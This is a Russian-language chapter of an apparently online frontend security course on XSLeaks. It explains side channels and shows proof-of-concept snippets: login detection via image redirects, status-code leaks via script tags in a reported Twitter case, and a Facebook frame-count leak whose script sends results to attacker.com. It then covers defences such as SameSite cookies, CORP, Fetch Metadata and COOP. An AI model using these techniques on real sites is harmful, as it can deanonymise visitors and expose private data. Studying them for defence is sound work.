Client-Side Fundamental
  • Добро пожаловать
  • Глава 1 - Начало работы с XSS
    • Браузерная модель безопасности
    • Знакомимся с уязвимостью XSS
    • Более глубокое понимание XSS
    • Опасный псевдопротокол javascript
  • Глава 2 - Защита и Обход для XSS
    • Первая линия обороны от XSS - Sanitization
    • Вторая линия обороны от XSS - CSP (Content Security Policy)
    • Третья линия обороны против XSS - сокращение области воздействия
    • Последние методы защиты от XSS - Trusted Types и встроенный Sanitizer API
    • Обход защитных мер - Обычные способы обхода CSP
    • Обход защитных мер - Mutation XSS
    • Самая опасная XSS - Universal XSS
  • Глава 3 - Атаки без JavaScript
    • Кто сказал, что для атаки обязательно выполнять JavaScript?
    • Prototype Pollution - Эксплуатация цепочки прототипов
    • Может ли HTML влиять на JavaScript - Введение в DOM clobbering
    • Template Injection in Frontend - CSTI
    • CSS Injection - Атака с использованием только CSS (Часть 1)
    • CSS Injection - Атака с использованием только CSS (Часть 2)
    • Можно ли атаковать, используя только HTML
  • Глава 4 - Межсайтовые атаки
    • Same-origin Policy и Same-Site
    • Введение в Cross-Origin Resource Sharing (CORS)
    • Проблемы Cross-Origin безопасности
    • Cross-Site Request Forgery (CSRF)
    • Спаситель от CSRF - Same-site cookie
    • От same-site до главного site
    • Интересная и практичная Cookie Bomb
  • Глава 5 - Другие интересные темы
    • То, что вы видите, это не то, что вы получаете - Clickjacking
    • Эксплуатация MIME Sniffing
    • Атаки на цепочку поставок во фронтенде - Attacking Downstream from Upstream
    • Атаки на веб-фронтенд в Web3
    • Самая интересная атака на побочные каналы фронтенда - XSLeaks (Часть 1)
    • Самая интересная атака на побочные каналы фронтенда - XSLeaks (Часть 2)
Powered by GitBook
On this page
  • Side-Channel Attacks 101
  • Experiencing XSLeaks in Action
  • XSLeaks using Status Codes
  • One of the Defense Mechanisms against XSLeaks
  • Other potential leaks
  • Заключение
  1. Глава 5 - Другие интересные темы

Самая интересная атака на побочные каналы фронтенда - XSLeaks (Часть 1)

XSLeaks, сокращенно от Cross-Site Leaks, относится к технике использования определенных приемов для раскрытия информации с других веб-сайтов. Хотя по определению эта тема должна быть размещена в главе о "Cross-Site Attacks", я решил поместить ее в конце, чтобы придать ей большее значение.

Это самая интересная и любимая тема для меня при изучении безопасности фронтенда. Если бы в университете существовал "Отдел безопасности фронтенда", XSLeaks, вероятно, был бы элективным курсом на третьем или четвертом курсе. Это означает, что вам нужно иметь много предварительных знаний, прежде чем браться за эту тему. Она включает в себя взаимодействие между фронтендом и бэкендом, операции браузера, различные фронтенд-техники, а также воображение и креативность. Вот почему я нахожу это увлекательным.

Чтобы понять, что такое XSLeaks, нам нужно начать с того, что такое Side-Channel Attacks Are.

Side-Channel Attacks 101

Атаки через побочные каналы упоминались при обсуждении уязвимостей CPU, таких как Meltdown и Spectre.

Один из моих любимых примеров атак через побочные каналы — классическая "проблема с лампочками" (хотя она появилась в "Alice in Borderland", я помню, что она существовала даже раньше).

Представьте, что у вас есть три выключателя в вашей комнате, каждый из которых соответствует лампочке в другой комнате. Эти две комнаты разделены дверью, поэтому вы не можете видеть другую комнату. Вы можете свободно управлять выключателями, и у вас есть только один шанс войти в другую комнату и вернуться.

После возвращения вам нужно ответить, какой выключатель соответствует каждой лампочке. Как бы вы это сделали?

Если бы было только две лампочки и два выключателя, это было бы просто. Допустим, они обозначены A и B. Вы бы включили выключатель A, пошли в другую комнату, и лампочка, которая горит, соответствует выключателю A, в то время как та, которая не горит, соответствует выключателю B.

Но что, если есть три лампочки? Что вам делать?

Ответ на эту классическую проблему заключается в том, чтобы включить выключатель A на несколько минут, затем выключить его и включить выключатель B. Теперь вы можете пойти в соседнюю комнату. Лампочка, которая горит, соответствует выключателю B. Но как определить другие две лампочки?

Вы можете прикоснуться к лампочкам рукой. Та, которая теплая, представляет собой лампочку, которая была включена недавно, поэтому она соответствует выключателю A, в то время как та, которая холодная, соответствует выключателю C.

В этой задаче, помимо яркости, мы можем также сделать вывод о том, была ли лампочка включена или выключена, основываясь на побочном эффекте, который она производит при включении: температуре. Это и называется атакой через побочные каналы.

Другой пример часто встречается в детективных фильмах, когда вы касаетесь капота машины на парковке. Если он теплый, это означает, что машина была припаркована недавно. Это также форма атаки через побочные каналы.

Когда этот принцип применяется к разработке фронтенда, это называется XSLeaks.

Как я уже подчеркивал, для браузеров важно предотвратить доступ веб-сайта к информации другого веб-сайта. Это называется Same Origin Policy, и браузеры внедрили множество ограничений, таких как отображение сообщений об ошибках при доступе к другим веб-сайтам, которые нарушают Same-Origin Policy.

XSLeaks пытается обойти эти ограничения в разработке фронтенда, используя техники атак через побочные каналы для раскрытия информации другого веб-сайта.

Как обычно, давайте рассмотрим пример.

Experiencing XSLeaks in Action

Эта веб-страница используется для определения, на каких веб-сайтах вы вошли в систему. Для меня результат выглядит следующим образом:

Как это работает?

Во-первых, при загрузке изображения вы можете использовать атрибуты onerror и onload, чтобы определить, было ли изображение загружено успешно, как показано ниже:

<img src="URL" onerror="alert('error')" onload="alert('load')">

Определение "успешно загружено" включает не только то, что код статуса ответа равен 200, но и то, что содержимое действительно является изображением. Если вместо этого загружается веб-страница, событие onerror все равно будет вызвано.

Сочетая загрузку изображения с перенаправлением после входа в систему, можно определить, вошел ли пользователь на Cross-Origin веб-странице.

https://medium.com/m/login-redirect?redirectUrl=https%3A%2F%2Fmedium.com%2Ffavicon.ico

В данном URL, если пользователь не вошел в систему, он будет перенаправлен на страницу входа. Если пользователь вошел в систему, он будет перенаправлен на логотип Medium. Поэтому HTML можно записать следующим образом:

<img  src="https://medium.com/m/login-redirect?redirectUrl=https%3A%2F%2Fmedium.com%2Ffavicon.ico"  onerror="alert('Not logged in')"  onload="alert('logged in')">

Если пользователь вошел в систему, он будет перенаправлен на URL логотипа сайта, и поскольку это изображение, событие onload будет вызвано. С другой стороны, если пользователь не вошел в систему, он будет перенаправлен на страницу входа, которая не является изображением, поэтому событие onerror будет вызвано.

Таким образом, мы можем использовать это поведение "перенаправления после входа", в сочетании с тем, загружено ли изображение или нет, чтобы определить, вошел ли пользователь в систему. Это классический пример XSLeaks.

Определение того, вошел ли пользователь в систему, может быть не очень полезным, поэтому давайте рассмотрим более практический пример.

XSLeaks using Status Codes

При загрузке содержимого с помощью <img> помимо проверки кода статуса также проверяется, является ли ответ изображением. Поэтому его можно использовать только для определения, является ли "последнее загруженное содержимое изображением". С другой стороны, <script> ведет себя иначе. Если код статуса ответа равен 200, даже если содержимое не является JavaScript, событие onerror не будет вызвано.

Для <script>, если код статуса равен 200, это означает, что содержимое URL было успешно загружено, поэтому будет вызвано событие onload. Однако, если JavaScript-код внутри недействителен, будет показана ошибка.

Таким образом, мы можем косвенно определить, успешен ли код статуса URL, используя тег <script>, следующим образом:

const express = require('express');
const app = express();

app.get('/200', (req, res) => {
  res.writeHead(200, { 'Content-Type': 'text/html' });
  res.write('<h1>hlelo</h1>');
  res.end();
});

app.get('/400', (req, res) => {
  res.writeHead(400);
  res.end();
});

app.get('/', (req, res) => {
  res.writeHead(200, { 'Content-Type': 'text/html' });
  res.write('<script src="/200" onerror=alert("200_error") onload=alert("200_load")></script>');
  res.write('<script src="/400" onerror=alert("400_error") onload=alert("400_load")></script>');
  res.end();
});

app.listen(5555, () => {
  console.log('Server is running on port 5555');
});

Результат будет либо 200_load, либо 400_error, но сообщение об ошибке все равно будет отображено в консоли:

Uncaught SyntaxError: Unexpected token '<' (at 200:1:1)

Итак, что мы можем сделать зная код статуса ответа? Давайте рассмотрим реальный пример.

Если я не вошел в систему или если я вошел в систему, но USER_ID не совпадает, будет возвращен код статуса 403 вместе с сообщением об ошибке:

{"error":{"message":"You are not logged in as a user that has access to this developer.twitter.com resource.","sent":"2019-03-06T01:20:56+00:00","transactionId":"00d08f800009d7be"}}.

Если я вошел в систему и USER_ID правильный, будет возвращена информация о пользователе. Этот дизайн вполне приемлем для контроля доступа, поскольку пользователи не могут получить доступ к данным других людей. Однако различие в кодах ответа создает возможность для XSLeaks.

Эксплуатация работает следующим образом: предположим, я знаю USER_ID в Twitter, скажем, 12345. Я могу написать следующий код на своем блоге:

<script  src=https://developer.twitter.com/api/users/12345/client-applications.json  onload="alert('Hi there, I know you are watching, Bob!')"></script>

Это уязвимость, нарушающая конфиденциальность. Когда вы посещаете веб-сайт, на котором вы еще не были, он может точно определить, "являетесь ли вы определенным человеком", используя этот метод, что довольно опасно.

Итак, как можно исправить эту уязвимость?

One of the Defense Mechanisms against XSLeaks

Самый простой механизм защиты — это куки. Установив куки на SameSite=Lax, независимо от того, используется ли <img> или <script>, куки не будут отправлены, что позволит избежать упомянутых ранее проблем.

В настоящее время браузеры включают этот механизм по умолчанию, поэтому даже если разработчики допускают ошибки, они все равно будут защищены, если только не установят куки на SameSite=None. На самом деле, есть веб-сайты, которые это сделали. Веб-сайт, который мы изначально посетили, чтобы определить, вошел ли пользователь в систему, может обнаружить только веб-сайты, у которых включен SameSite=None.

Кроме кук с тем же Site, есть несколько других способов защититься от таких атак.

Первый — это заголовок Cross-Origin-Resource-Policy, упомянутый ранее при обсуждении CORS. Этот заголовок, может предотвратить загрузку этих ресурсов с других веб-сайтов.

Если вы добавите Cross-Origin-Resource-Policy: same-origin, в предыдущем примере, независимо от того, 200 это или 400, скрипт выполнит событие onerror, потому что оба будут заблокированы CORP. Консоль покажет следующие ошибки:

GET http://localhost:5555/200 net::ERR_BLOCKED_BY_RESPONSE.NotSameOrigin 200 (OK)

GET http://localhost:5555/400 net::ERR_BLOCKED_BY_RESPONSE.NotSameOrigin 400 (Bad Request)

Второй метод — это новый механизм, называемый Fetch Metadata. Когда веб-страница отправляет запрос, браузер автоматически добавляет заголовки со следующей информацией:

  1. Sec-Fetch-Site: The relationship between the requesting site and the target site.

  2. Sec-Fetch-Mode: The mode of the request.

  3. Sec-Fetch-Dest: The destination of the request.

Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script

Сервер может использовать эти заголовки для принятия превентивных мер. Например, если сервер ожидает только API-вызовы и не ожидает загрузки ресурсов с помощью <script> или других тегов, он может заблокировать такое поведение:

app.use((req, res, next) => {  
  if (req.headers['Sec-Fetch-Dest'] !== 'empty') {    
    res.end('Error');    
    return;  
  }  
  next();
});

Возможные значения для Sec-Fetch-Site:

  1. Same-Origin

  2. Same-Site

  3. Cross-Site

  4. None (for cases like when the browser opens a website from a bookmark)

Возможные значения для Sec-Fetch-Mode:

  1. Same-Origin

  2. No-Cors

  3. Cors

  4. Navigate

Существует слишком много возможных значений для Sec-Fetch-Dest, поэтому я не буду их перечислять.

Третий метод заключается в изменении как успешных, так и неудачных кодов состояния на 200, что делает невозможным обнаружение различий на основе кодов состояния.

Это напоминает мне о повторяющейся проблеме на форумах обсуждения бэкенда: как устанавливать код состояния ответа. Например, некоторые люди рассматривают код состояния как статус самого ресурса. Например, если /api/books/3 не существует, они возвращают 404 Not Found.

Однако некоторые люди используют код состояния для другой цели. Хотя /api/books/3 не имеет конкретной книги, API сам по себе существует, поэтому они возвращают 200 и включают сообщение "не найдено" в тело ответа. Только при доступе к несуществующему API, такому как /api/not_exist, они возвращают 404.

С этой точки зрения, второй подход проектирования может решить проблему XSLeaks. Однако, на мой взгляд, не стоит изменять коды состояния специально для защиты от атак. Это связано со многими зависимостями и может потребовать изменений на фронтенде. Лучший подход — сначала использовать Cookies Same-Site для защиты, так как это самое простое и легкое решение.

Other potential leaks

В HTML есть несколько вещей, которые могут служить утечками или маркерами утечек. Один из примеров — количество фреймов.

Ранее упоминалось, что браузеры ограничивают доступ к окну с другого источника, ограничивая информацию, к которой можно получить доступ. Например, хотя вы можете использовать location = '...' для перенаправления, вы не можете получить доступ к location.href или другим значениям.

Тем не менее, даже при этих ограничениях все еще можно получить некоторую информацию, такую как количество фреймов. Вот пример кода:

var win = window.open('http://localhost:5555'); // Ждем загрузки окна
setTimeout(() => {  
  alert(win.frames.length);
}, 1000);

Если на открытой странице есть iframe, длина будет равна 1. Если ничего нет, длина будет равна 0. Если у веб-сайта разное количество iframes в зависимости от различных действий, мы можем использовать эту технику для их обнаружения.

Facebook имеет функцию поиска, которая позволяет пользователям искать друзей, посты, фотографии и т. д. Эта функция поиска предназначена для легкого обмена, поэтому пользователи могут получить к ней доступ напрямую через URL. Например, URL https://www.facebook.com/search/str/chen/users-named/me/friends/intersect отобразит результаты поиска для друзей с именем "chen".

Автор обнаружил различие в поведении: если в результатах поиска есть что-то, на странице будет iframe, и автор предполагает, что это может быть целью отслеживания Facebook. Если результатов нет, то iframe не будет.

Другими словами, мы можем определить, есть ли результаты поиска, проверяя frames.length.

Процесс атаки выглядит следующим образом: мы сначала подготавливаем HTML с следующим содержимым:

<script>  
  let win = window.open('https://www.facebook.com/search/str/chen/users-named/me/friends/intersect');  
  setTimeout(() => {    
    if (win.frames.length === 0) {      
      fetch('https://attacker.com/?result=no');    
    } else {      
      fetch('https://attacker.com/?result=yes');    
    }    
    win.close();  
  }, 2000);
</script>

Затем мы отправляем эту веб-страницу нашей цели. После того как цель откроет веб-страницу, сервер атакующего получит результаты поиска.

Защита от такого типа атаки более сложна, потому что cookie с атрибутом Same-Site Lax здесь не помогут. Код использует window.open, и если вы не установите его в строгий режим, cookie будут отправлены вместе с запросом.

Ранее упомянутая Fetch Metadata также неэффективна, потому что это на самом деле обычный запрос.

Если вы хотите защититься от этого, используя существующие механизмы, вы можете добавить заголовок COOP (Cross-Origin-Opener-Policy). Таким образом, открытое окно потеряет связь с оригинальным окном, и не сможет получить доступ к win.frames.

Другой вариант — изменить страницу результатов поиска. Независимо от того, есть ли результаты поиска или нет, либо всегда иметь iframe, либо никогда его не иметь, чтобы информация не могла быть утечкой через количество iframes.

Заключение

В этой статье мы узнали, что такое атаки через побочные каналы, и поняли основные принципы XSLeaks. Мы также увидели несколько реальных примеров, которые демонстрируют, что это действительно уязвимость, которую можно эксплуатировать.

Конечно, XSLeaks обычно требует больше предварительных условий и условностей по сравнению с другими уязвимостями, и результаты, которые можно получить, ограничены. Тем не менее, я лично считаю, что это все еще очень интересная уязвимость.

Google сам имеет специальную страницу, посвященную XSLeaks в своей программе вознаграждений за ошибки, потому что они уже осведомлены о большинстве проблем и имеют инженеров, которые специально исследуют эту область. Поэтому не рекомендуют багхантерам тратить свое время на это.

Ссылки:

PreviousАтаки на веб-фронтенд в Web3NextСамая интересная атака на побочные каналы фронтенда - XSLeaks (Часть 2)

Last updated 8 months ago

Вы можете открыть эту веб-страницу в своем браузере:

Кроме того, многие веб-сайты предоставляют функциональность перенаправления. Например, если вы хотите просмотреть конкретный заказ на сайте интернет-магазина, URL может выглядеть так: . Если вы посетите этот URL, не войдя в систему, вы будете перенаправлены на страницу, такую как . После успешного входа в систему вы будете перенаправлены обратно на оригинальную страницу заказа.

Этот метод довольно распространен, так как он улучшает пользовательский опыт, устраняя необходимость пользователям вручную возвращаться назад. Что, если вы посетите ссылку , будучи уже вошедшим в систему? Вы не увидите страницу входа и будете напрямую перенаправлены на финальную страницу заказа.

В качестве примера возьмем Medium, URL их логотипа — , и Medium также имеет функциональность перенаправления после входа в систему, как это:

В 2019 году terjanq сообщил о уязвимости в Twitter: , которая описывает, как можно использовать этот тип атаки.

Он обнаружил, что существует API URL в Twitter, который возвращает информацию о пользователе: .

Например, если вы используете тег <script> для загрузки с Cross-Origin местоположения на странице, заголовки будут:

Например, в 2018 году компания Imperva написала блог-пост под названием , который использовал эту технику.

https://browserleaks.com/social
https://shop.example.com/orders/12345
https://shop.example.com/login?redirect=/orders/12345
https://shop.example.com/login?redirect=/orders/12345
https://medium.com/favicon.ico
Twitter ID exposure via error-based side-channel attack
https://developer.twitter.com/api/users/USER_ID/client-applications.json
http://localhost:5555/200
Patched Facebook Vulnerability Could Have Exposed Private Information About You and Your Friends
Protect your resources from web attacks with Fetch Metadata
XS-Leaks wiki